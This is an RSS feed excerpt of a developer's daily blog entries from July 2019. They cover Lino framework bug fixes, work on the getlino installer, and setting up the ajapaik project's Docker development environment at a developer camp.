&lt;h1&gt;Monday, July 22, 2019&lt;a class="headerlink" href="#monday-july-22-2019" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;I entered our purchase invoices into our &lt;a class="reference external" href="https://dev.lino-framework.org/apps.html#cosi" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Lino Così&lt;/span&gt;&lt;/a&gt;.  Which caused a series of
changes:&lt;/p&gt;
&lt;p&gt;I added a detail view to &lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_cosi.lib.contacts.Partners&lt;/span&gt;&lt;/code&gt;.  While this
view is irritating in applications without accounting, for &lt;a class="reference external" href="https://dev.lino-framework.org/apps.html#cosi" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Lino Così&lt;/span&gt;&lt;/a&gt; it is
irritating to &lt;em&gt;not&lt;/em&gt; have it.&lt;/p&gt;
&lt;p&gt;The chooser for &lt;a class="reference external" href="https://dev.lino-framework.org/plugins/vat.html#lino_xl.lib.vat.VatDocument.vat_regime" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.vat.VatDocument.vat_regime&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; had a typo bug
causing a &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;TypeError:&lt;/span&gt; &lt;span class="pre"&gt;get_vat_regime_choices()&lt;/span&gt; &lt;span class="pre"&gt;takes&lt;/span&gt; &lt;span class="pre"&gt;from&lt;/span&gt; &lt;span class="pre"&gt;0&lt;/span&gt; &lt;span class="pre"&gt;to&lt;/span&gt; &lt;span class="pre"&gt;2&lt;/span&gt;
&lt;span class="pre"&gt;positional&lt;/span&gt; &lt;span class="pre"&gt;arguments&lt;/span&gt; &lt;span class="pre"&gt;but&lt;/span&gt; &lt;span class="pre"&gt;3&lt;/span&gt; &lt;span class="pre"&gt;were&lt;/span&gt; &lt;span class="pre"&gt;given&lt;/span&gt;&lt;/code&gt; when user tried to change the vat regime
of a voucher.&lt;/p&gt;
&lt;p&gt;Using &lt;kbd class="kbd docutils literal notranslate"&gt;Ctrl&lt;/kbd&gt;+&lt;kbd class="kbd docutils literal notranslate"&gt;x&lt;/kbd&gt; on a voucher to run
&lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.accounting.Voucher.toggle_state()&lt;/span&gt;&lt;/code&gt; changed the voucher state but
did not actually register the voucher (i.e. create movements, compute totals,
…).&lt;/p&gt;
&lt;p&gt;I released version 19.7.3 of Lino and XL to PyPI. Although the test suites are
still failing.  I hope that th failures are trivial and only caused by the test
suite and not by a bug.&lt;/p&gt;
&lt;section id="getlino"&gt;
&lt;h2&gt;getlino&lt;a class="headerlink" href="#getlino" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Session with Tonis: When you maintain a Lino server, then you don’t want to
decide for each new site which dbengine to use. You decide this once for all
during configure. In general, &lt;cite&gt;apt-get install&lt;/cite&gt; is called only during
configure, never during startsite. If you have a server with some mysql sites
and exceptionally want to install a site with postgres, you simply call getlino
configure before calling startsite.&lt;/p&gt;
&lt;p&gt;After session with Hamza:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;Optimized confirmations and messages.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Added an Installer class to avoid passing &lt;cite&gt;batch&lt;/cite&gt; all the time, and to have a
single call to apt-get.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Added &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;--depth&lt;/span&gt; &lt;span class="pre"&gt;1&lt;/span&gt; &lt;span class="pre"&gt;-b&lt;/span&gt; &lt;span class="pre"&gt;master&lt;/span&gt;&lt;/code&gt; to git clong commands because history is usually
not needed.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Added logfile setup&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Optimized nginx config file creation. Fixed a bug : the symlink was issued from
the src in roject dir but it must link to the copy in sites_available.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Reviewed the  &lt;a class="reference external" href="https://lino-framework.gitlab.io/getlino/index.html#getlino" title="(in getlino docs)"&gt;&lt;span&gt;getlino : the Lino installer&lt;/span&gt;&lt;/a&gt; docs page.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;I tested using:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;sudo&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;H&lt;/span&gt; &lt;span class="n"&gt;getlino&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;py&lt;/span&gt; &lt;span class="n"&gt;startsite&lt;/span&gt; &lt;span class="n"&gt;cosi&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="n"&gt;dev&lt;/span&gt; &lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="n"&gt;linodev&lt;/span&gt; &lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="n"&gt;shared&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;env&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;usr&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;local&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lino&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;shared&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;The &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;--linodev&lt;/span&gt;&lt;/code&gt; option is currently required because of the appy issue we fixed with Hamza.&lt;/p&gt;
&lt;p&gt;The &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;--dev&lt;/span&gt;&lt;/code&gt; option is currently required in most cases because we don’t yet
do pypi releases for applications&lt;/p&gt;
&lt;p&gt;The new &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;--shared-env&lt;/span&gt;&lt;/code&gt; option can save time during testing. Usage:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="n"&gt;shared&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;env&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;usr&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;local&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lino&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;shared&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;This option has no default value, i.e. default is to not use any shared env.&lt;/p&gt;
&lt;p&gt;Note that when using a shared env, also static files are shared.&lt;/p&gt;
&lt;p&gt;The &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;--env-dir&lt;/span&gt;&lt;/code&gt; and &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;--repos-dir&lt;/span&gt;&lt;/code&gt; options should probably always remain at
their default values (“env” and “repositories”).&lt;/p&gt;
&lt;p&gt;TODO:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;runserver in a newly created site doesn’t yet serve the static files.
Maybe because ‘static’ just a symlink?&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;repos-dir and env-dir need to be reviewed in startsite template&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;when using shared env, the static subdir of each site must also be a symlink
to the shared&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;I did not yet test pgsql setup after my changes.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;The nginx configuration file causes warnings&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;mysql database setup also failed when the user or the database already
existed. Now runs three separate commands.  If the first or second fails, the
privileges are still done.  Disadvantage is that now it asks each time for the
root password… not sure how to fix that.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2019/0722.html</guid><pubDate>Mon, 22 Jul 2019 00:00:00 +0000</pubDate></item><item><title>Saturday, July 20, 2019</title><link>https://luc.lino-framework.org/blog/2019/0720.html</link><description>&lt;section id="saturday-july-20-2019"&gt;
&lt;h1&gt;Saturday, July 20, 2019&lt;a class="headerlink" href="#saturday-july-20-2019" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;I discovered and fixed yet another bug introduced by my recent work on
&lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3110"&gt;#3110&lt;/a&gt;. Yes, the &lt;a class="reference external" href="https://dev.lino-framework.org/src/lino/core/plugin.html#lino.core.plugin.Plugin.get_detail_url" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.core.plugin.Plugin.get_detail_url()&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; method
must also receive the incoming action request (I changed its signature), and
the renderer of the extjs plugin now returns a different URL depending on
whether ar.request is set or not: when calling it from
&lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;send_summary_emails&lt;/span&gt;&lt;/code&gt;
(e.g. ar.request is None), we want a “permalink” or “https:” URI. Otherwise we
want a “javascript:…” URI.&lt;/p&gt;
&lt;p&gt;I continued on &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3036"&gt;#3036&lt;/a&gt; and wrote a new command &lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;inv&lt;/span&gt; &lt;span class="pre"&gt;configure&lt;/span&gt;&lt;/code&gt;.
This command is quite slow (it invokes &lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;pip&lt;/span&gt; &lt;span class="pre"&gt;install&lt;/span&gt;&lt;/code&gt;
multiple times on each demo project), but that’s not our primary concern on
travis.  The great thing is that we can soon remove all those tricky
requirement files and the &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;install_requirements.sh&lt;/span&gt;&lt;/code&gt; file.  And in the
developeräs guide we can replace those complicated installation instruction by
an instruction to run &lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;inv&lt;/span&gt; &lt;span class="pre"&gt;configure&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Adapted &lt;a class="reference external" href="https://atelier.lino-framework.org/changes/index.html#atelier-changes" title="(in atelier v1.1)"&gt;&lt;span&gt;Changes in atelier, rstgen and sphinxfeed&lt;/span&gt;&lt;/a&gt;.
Released atelier to PyPI.
Adapted the &lt;a class="reference external" href="https://dev.lino-framework.org/dev/ci.html#xfile-.travis.yml" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;.travis.yml&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; of book to use this new command.&lt;/p&gt;
&lt;p&gt;There is a dependency hell around channels and redis in
&lt;a class="reference external" href="https://dev.lino-framework.org/api/lino.modlib.notify.html#module-lino.modlib.notify" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.modlib.notify&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;. I somehow got it to pass the test suite, but I
disabled &lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;asgi_redis&lt;/span&gt;&lt;/code&gt; completely.  Need to test it after release to jane
and hobbit.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2019/0720.html</guid><pubDate>Sat, 20 Jul 2019 00:00:00 +0000</pubDate></item><item><title>Thursday, July 18, 2019</title><link>https://luc.lino-framework.org/blog/2019/0718.html</link><description>&lt;section id="thursday-july-18-2019"&gt;
&lt;h1&gt;Thursday, July 18, 2019&lt;a class="headerlink" href="#thursday-july-18-2019" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;I had yet another series of ideas for &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3036"&gt;#3036&lt;/a&gt; and started working on
these: &lt;a class="reference external" href="https://dev.lino-framework.org/src/lino/core/plugin.html#lino.core.plugin.Plugin.get_requirements" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.core.plugin.Plugin.get_requirements()&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;, A new admin command
&lt;a class="reference external" href="https://dev.lino-framework.org/specs/lino.html#management_command-configure" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-manage docutils literal notranslate"&gt;&lt;span class="pre"&gt;configure&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;, merge &lt;a class="reference external" href="https://lino-framework.gitlab.io/getlino/ref/configure.html#command-getlino-configure" title="(in getlino docs)"&gt;&lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;getlino&lt;/span&gt; &lt;span class="pre"&gt;configure&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; and &lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;getlino&lt;/span&gt; &lt;span class="pre"&gt;setup&lt;/span&gt;&lt;/code&gt;
(the differentiation is useless).&lt;/p&gt;
&lt;p&gt;I had to decide how to name the combined command “configure” and “setup”. Both
commands (the getlino command and the admin command) should have the same name
because they do similar things. But at different levels (in getlino we “setup”
or “configure” a production “server” which can run multiple “sites”, with the
admin command we “setup” or “configure” the Python environment of a given
site).&lt;/p&gt;
&lt;p&gt;The name “setup” is suboptimal because it makes us have a file named &lt;cite&gt;setup.py&lt;/cite&gt;
in &lt;a class="reference external" href="https://dev.lino-framework.org/api/lino.management.commands.html#module-lino.management.commands" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.management.commands&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;, and that file name should be reserved for
the top-level &lt;a class="reference external" href="https://dev.lino-framework.org/dev/setup.html#xfile-setup.py" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;setup.py&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;. So I finally opted for “configure” rather than
“setup”. Another name candidate was “install” but I that would clash with
“installing Python modules”.  You first install the lino application into the
environment of a site, then you “configure” that site (which will potentially
install more Python modules into the environment).&lt;/p&gt;
&lt;blockquote&gt;
&lt;div&gt;&lt;p&gt;$ go team
$ pm configure -l
bleach
channels
django-mailbox
schedule
social-auth-app-django
svn+https://svn.forge.pallavi.be/appy-dev/dev1#egg=appy&lt;/p&gt;
&lt;/div&gt;&lt;/blockquote&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2019/0718.html</guid><pubDate>Thu, 18 Jul 2019 00:00:00 +0000</pubDate></item><item><title>Wednesday, July 17, 2019</title><link>https://luc.lino-framework.org/blog/2019/0717.html</link><description>&lt;section id="wednesday-july-17-2019"&gt;
&lt;h1&gt;Wednesday, July 17, 2019&lt;a class="headerlink" href="#wednesday-july-17-2019" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;Second day in Nõva.&lt;/p&gt;
&lt;section id="authentication-issues"&gt;
&lt;h2&gt;Authentication issues&lt;a class="headerlink" href="#authentication-issues" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;The &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;sudo&lt;/span&gt; &lt;span class="pre"&gt;docker-compose&lt;/span&gt; &lt;span class="pre"&gt;up&lt;/span&gt; &lt;span class="pre"&gt;--build&lt;/span&gt;&lt;/code&gt; now runs (after another minor issue: I
had to change the database port in the docker-compose.yml file from ‘5434:5432’
to ‘5434:5433’ (probably because I have a pgsql running on my machine, so that
port is already taken).&lt;/p&gt;
&lt;p&gt;Now it works, and ends by saying:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;Starting&lt;/span&gt; &lt;span class="n"&gt;development&lt;/span&gt; &lt;span class="n"&gt;server&lt;/span&gt; &lt;span class="n"&gt;at&lt;/span&gt; &lt;span class="n"&gt;http&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="o"&gt;//&lt;/span&gt;&lt;span class="mf"&gt;0.0.0.0&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;8000&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;I leave that terminal running, open another terminal and say:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ cd path/to/ajapaik-web
$ sudo docker exec -it ajapaik bash
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Which opens a bash shell in the container. There I say:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="c1"&gt;# python manage.py createsuperuser&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;And interactively give a password and email for the web superuser.&lt;/p&gt;
&lt;p&gt;And voilà, ajapaik is running in &lt;a class="reference external" href="http://localhost:8000"&gt;http://localhost:8000&lt;/a&gt; with created superuser and without photos.&lt;/p&gt;
&lt;p&gt;When I sign in (using the username and password I specified in createsuperuser), I get:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;ImproperlyConfigured&lt;/span&gt; &lt;span class="n"&gt;at&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;accounts&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;login&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;
&lt;span class="n"&gt;No&lt;/span&gt; &lt;span class="n"&gt;Facebook&lt;/span&gt; &lt;span class="n"&gt;app&lt;/span&gt; &lt;span class="n"&gt;configured&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;please&lt;/span&gt; &lt;span class="n"&gt;add&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="n"&gt;SocialApp&lt;/span&gt; &lt;span class="n"&gt;using&lt;/span&gt; &lt;span class="n"&gt;the&lt;/span&gt; &lt;span class="n"&gt;Django&lt;/span&gt; &lt;span class="n"&gt;admin&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Okay, of course I must set the &lt;code class="xref std std-setting docutils literal notranslate"&gt;&lt;span class="pre"&gt;FACEBOOK_APP_KEY&lt;/span&gt;&lt;/code&gt; and
&lt;code class="xref std std-setting docutils literal notranslate"&gt;&lt;span class="pre"&gt;FACEBOOK_APP_SECRET&lt;/span&gt;&lt;/code&gt; settings. (These are not public of course).&lt;/p&gt;
&lt;p&gt;I could now play in the Django shell &lt;code class="xref std std-manage docutils literal notranslate"&gt;&lt;span class="pre"&gt;shell`&lt;/span&gt;&lt;/code&gt; and explore things:&lt;/p&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;django.apps&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;apps&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;m&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;apps&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get_model&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;auth.User&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;u&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;username&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;u&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;m&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;objects&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;all&lt;/span&gt;&lt;span class="p"&gt;()]&lt;/span&gt;
&lt;span class="go"&gt;[&amp;#39;_84ypqk56uz928yixmuwz4nkj7_DFJ&amp;#39;, &amp;#39;root&amp;#39;, &amp;#39;_q0ntokocen0ojzqte7vptibvx_QCP&amp;#39;, &amp;#39;luc&amp;#39;]&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Note: the temporary users with auto-generated names are a special feature in
ajapaik: you can upload pictures and work anonymously because your activity is
tracked in such a temporary user account.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="translation-issues"&gt;
&lt;h2&gt;Translation issues&lt;a class="headerlink" href="#translation-issues" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Märt and I fixed some translation fixtures where I learned that the Django
templating language has no way to strip whitespace from inside a
&lt;cite&gt;{{blocktranslate}} … {{plural}} … {{endblocktranslate}}&lt;/cite&gt; construct.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="photo-management-a-la-lino"&gt;
&lt;h2&gt;Photo management à la Lino&lt;a class="headerlink" href="#photo-management-a-la-lino" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I started imagining two new plugins &lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.photos&lt;/span&gt;&lt;/code&gt; and
&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.faces&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Or maybe we need just some optimizations to &lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.uploads&lt;/span&gt;&lt;/code&gt; : a view
which shows a “preview” of each upload in a grid of tiles.  A “Tiles” view
would be either a new actor subclass, or a new display_mode for tables.&lt;/p&gt;
&lt;p&gt;Example of a ticket with an upload &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3098"&gt;#3098&lt;/a&gt;.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="reviewed-getlino"&gt;
&lt;h2&gt;Reviewed getlino&lt;a class="headerlink" href="#reviewed-getlino" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Hamza worked on getlino, I reviewed his work and did an avalanche of changes.&lt;/p&gt;
&lt;p&gt;I stopped with some open problems:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;ERROR 1045 (28000): Access denied for user &lt;a class="reference external" href="mailto:'root'&amp;#37;&amp;#52;&amp;#48;'localhost"&gt;‘root’&lt;span&gt;&amp;#64;&lt;/span&gt;’localhost&lt;/a&gt;’ (using password: NO)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;The &lt;cite&gt;.pyc&lt;/cite&gt; files aren’t group writable (i.e. the umask somehow didn’t get passed)&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2019/0717.html</guid><pubDate>Wed, 17 Jul 2019 00:00:00 +0000</pubDate></item><item><title>Tuesday, July 16, 2019</title><link>https://luc.lino-framework.org/blog/2019/0716.html</link><description>&lt;section id="tuesday-july-16-2019"&gt;
&lt;h1&gt;Tuesday, July 16, 2019&lt;a class="headerlink" href="#tuesday-july-16-2019" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;My first day at the ajapaik developer camp 2019 in Nõva. Kimmo, Märt, Joel,
Vahur and Katrin started already yesterday.  The camp lasts until Thursday.&lt;/p&gt;
&lt;p&gt;I will work on &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3123"&gt;#3123&lt;/a&gt; (Authentication issues in ajapaik).&lt;/p&gt;
&lt;section id="what-is-django-allauth"&gt;
&lt;h2&gt;What is django-allauth?&lt;a class="headerlink" href="#what-is-django-allauth" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;First I had to learn the following.&lt;/p&gt;
&lt;p&gt;Ajapaik uses &lt;a class="reference external" href="https://readthedocs.org/projects/django-allauth/"&gt;django-allauth&lt;/a&gt; while in Lino we use
&lt;a class="reference external" href="https://github.com/python-social-auth"&gt;python-social-auth&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;I read &lt;a class="reference external" href="https://www.reddit.com/r/django/comments/8b1b3z/whats_the_current_state_of_the_art_when_it_comes/"&gt;an interesting discussion on reddit&lt;/a&gt;
about the difference.  The opening question is “In the last years the standard
recommendation for Social Authentication in Django has been django-allauth.
However now that python-social-auth and the corresponding Django implementation
social-app-django are under active development again I would like to know if
anyone has more experience with it.”&lt;/p&gt;
&lt;p&gt;Some interesting answers:&lt;/p&gt;
&lt;blockquote&gt;
&lt;div&gt;&lt;p&gt;None of them are perfect. Django-allauth is cool unless you need OpenID
Connect or something else non-trivial, then you’ll have to dig it out and
implement it yourself or navigate the sprawling forest of forks..&lt;/p&gt;
&lt;p&gt;It seems that Django-Allauth is lacking integration with
Django-REST-Framework, while Python Social Auth has a library which integrates
authentication for REST API later.&lt;/p&gt;
&lt;/div&gt;&lt;/blockquote&gt;
&lt;/section&gt;
&lt;section id="installing-a-development-environment"&gt;
&lt;h2&gt;Installing a development environment&lt;a class="headerlink" href="#installing-a-development-environment" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;There are some problems related to authentication. Mostly irritating or wrong
error messages when users try to sign in using some edge case situation.&lt;/p&gt;
&lt;p&gt;But how can I see the problem?&lt;/p&gt;
&lt;p&gt;A nice thing that the ajapaik project now uses Docker to provide a development
environment.&lt;/p&gt;
&lt;p&gt;Kimmo’s cheat sheet for installing Ajapaik docker locally. (my current steps +
i will add also secrets; OS: Ubuntu 18.04):&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ git clone https://github.com/Ajapaik/ajapaik-web.git
$ get checkout WIP-xxx
$ cd ajapaik-web
$ mkdir docker/solr/data
$ chmod a+w docker/solr/data
$ cp ajapaik/settings/local.py.example ajapaik/settings/local.py
$ cp ajapaik/ajapaik/client_secrets.json.example ajapaik/ajapaik/client_secrets.json
$ sudo docker-compose up --build
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;At this point I had to first install Docker correctly: “sudo apt purge docker”,
then add the docker repository to apt sources and “sudo apt install docker-ce”.
Thanks to &lt;a class="reference external" href="https://docs.docker.com/install/linux/docker-ce/ubuntu/"&gt;this&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Then the docker container had a failure during installation of &lt;a class="reference external" href="https://www.pyimagesearch.com/2018/01/22/install-dlib-easy-complete-guide/"&gt;dlib&lt;/a&gt;.
It was a Segmentation Fault during cmake:&lt;/p&gt;
